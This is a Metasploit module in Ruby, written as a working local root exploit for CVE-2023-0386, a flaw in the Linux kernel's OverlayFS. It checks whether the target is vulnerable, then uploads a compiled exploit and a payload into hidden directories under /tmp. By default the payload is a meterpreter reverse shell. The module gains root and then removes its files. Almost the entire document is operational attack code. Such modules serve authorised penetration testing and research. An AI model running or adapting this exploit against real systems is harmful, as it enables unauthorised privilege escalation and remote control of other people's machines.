##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##class MetasploitModule < Msf::Exploit::Local
Rank = ExcellentRanking
include Msf::Post::File
include Msf::Post::Linux::Priv
include Msf::Post::Linux::Kernel
include Msf::Post::Linux::System
include Msf::Post::Linux::Compile
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper
prepend Msf::Exploit::Remote::AutoCheck
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Local Privilege Escalation via CVE-2023-0386',
'Description' => %q{
This exploit targets the Linux kernel bug in OverlayFS.
A flaw was found in the Linux kernel, where unauthorized access to the execution of the setuid file with capabilities
was found in the Linux kernel’s OverlayFS subsystem in how a user copies a capable file from a nosuid mount into another mount.
This uid mapping bug allows a local user to escalate their privileges on the system.
},
'License' => MSF_LICENSE,
'Author' => [
'xkaneiki', # Exploit development
'sxlmnwb', # Exploit development
'Takahiro Yokoyama', # Metasploit Module
],
'DisclosureDate' => '2023-03-22',
'SessionTypes' => ['shell', 'meterpreter'],
'Platform' => [ 'linux' ],
'Arch' => [
ARCH_X64,
],
'Targets' => [['Automatic', {}]],
'DefaultTarget' => 0,
'DefaultOptions' => {
'AppendExit' => true,
'PrependFork' => true,
'PAYLOAD' => 'linux/x64/meterpreter_reverse_tcp'
},
'Privileged' => true,
'References' => [
[ 'CVE', '2023-0386' ],
[ 'URL', 'https://github.com/sxlmnwb/CVE-2023-0386' ],
[ 'URL', 'https://github.com/DataDog/security-labs-pocs/tree/main/proof-of-concept-exploits/overlayfs-cve-2023-0386' ],
[ 'URL', 'https://securitylabs.datadoghq.com/articles/overlayfs-cve-2023-0386/' ],
[ 'URL', 'https://www.vicarius.io/vsociety/posts/cve-2023-0386-a-linux-kernel-bug-in-overlayfs' ],
],
'Notes' => {
'Reliability' => [ REPEATABLE_SESSION ],
'Stability' => [ CRASH_SAFE ],
'SideEffects' => [ ARTIFACTS_ON_DISK ]
}
)
)
register_options([
OptEnum.new('COMPILE', [ true, 'Compile on target', 'Auto', ['Auto', 'True', 'False']]),
OptInt.new('TIMEOUT', [ true, 'Timeout for exploit (seconds)', '60' ])
])
register_advanced_options([
OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ])
])
end
def check
unless kernel_arch.include?('x64')
return CheckCode::Safe("System architecture #{kernel_arch} is not supported")
end
kernel_version = Rex::Version.new(kernel_release.split('-').first)
if kernel_version < Rex::Version.new('5.11') ||
kernel_version.between?(Rex::Version.new('5.15.91'), Rex::Version.new('5.16')) ||
Rex::Version.new('6.1.9') <= kernel_version
return CheckCode::Safe("Linux kernel version #{kernel_version} is not vulnerable")
end
unless userns_enabled?
return CheckCode::Safe('Unprivileged user namespaces are not permitted')
end
vprint_good('Unprivileged user namespaces are permitted')
CheckCode::Appears("Linux kernel version found: #{kernel_version}")
end
def base_dir
datastore['WritableDir'].to_s
end
def exploit
if !datastore['ForceExploit'] && is_root?
fail_with(Failure::BadConfig, 'Session already has root privileges. Set ForceExploit to override.')
end
unless writable?(base_dir)
fail_with(Failure::BadConfig, "#{base_dir} is not writable")
end
# Upload exploit executable
exploit_dir = "#{base_dir}/.#{rand_text_alphanumeric(5..10)}"
exploit_path = "#{exploit_dir}/.#{rand_text_alphanumeric(5..10)}"
mkdir(exploit_dir)
register_dir_for_cleanup(exploit_dir)
if live_compile?
vprint_status('Live compiling exploit on system...')
upload_and_compile(exploit_path, exploit_source('CVE-2023-0386', 'cve_2023_0386.c'), '-D_FILE_OFFSET_BITS=64 -lfuse -ldl -pthread')
else
vprint_status('Dropping pre-compiled exploit on system...')
upload_and_chmodx(exploit_path, exploit_data('CVE-2023-0386', 'cve_2023_0386.x64.elf'))
end
# Upload payload executable
payload_path = "#{exploit_dir}/.#{rand_text_alphanumeric(5..10)}"
upload_and_chmodx(payload_path, generate_payload_exe)
# Launch exploit
print_status('Launching exploit...')
cmd_string = "#{exploit_path} #{payload_path} #{exploit_dir}/.#{rand_text_alphanumeric(5..10)}"
vprint_status("Running: #{cmd_string}")
begin
output = cmd_exec(cmd_string, nil, datastore['TIMEOUT'])
vprint_status(output)
rescue Error => e
elog('Caught timeout. Exploit may be taking longer or it may have failed.', error: e)
print_error("Exploit failed: #{e}")
ensure
# rmdir() fails here on mettle payloads, so I'm just shelling out the rm for the exploit directory.
cmd_exec("rm -rf '#{exploit_dir}'")
end
end
end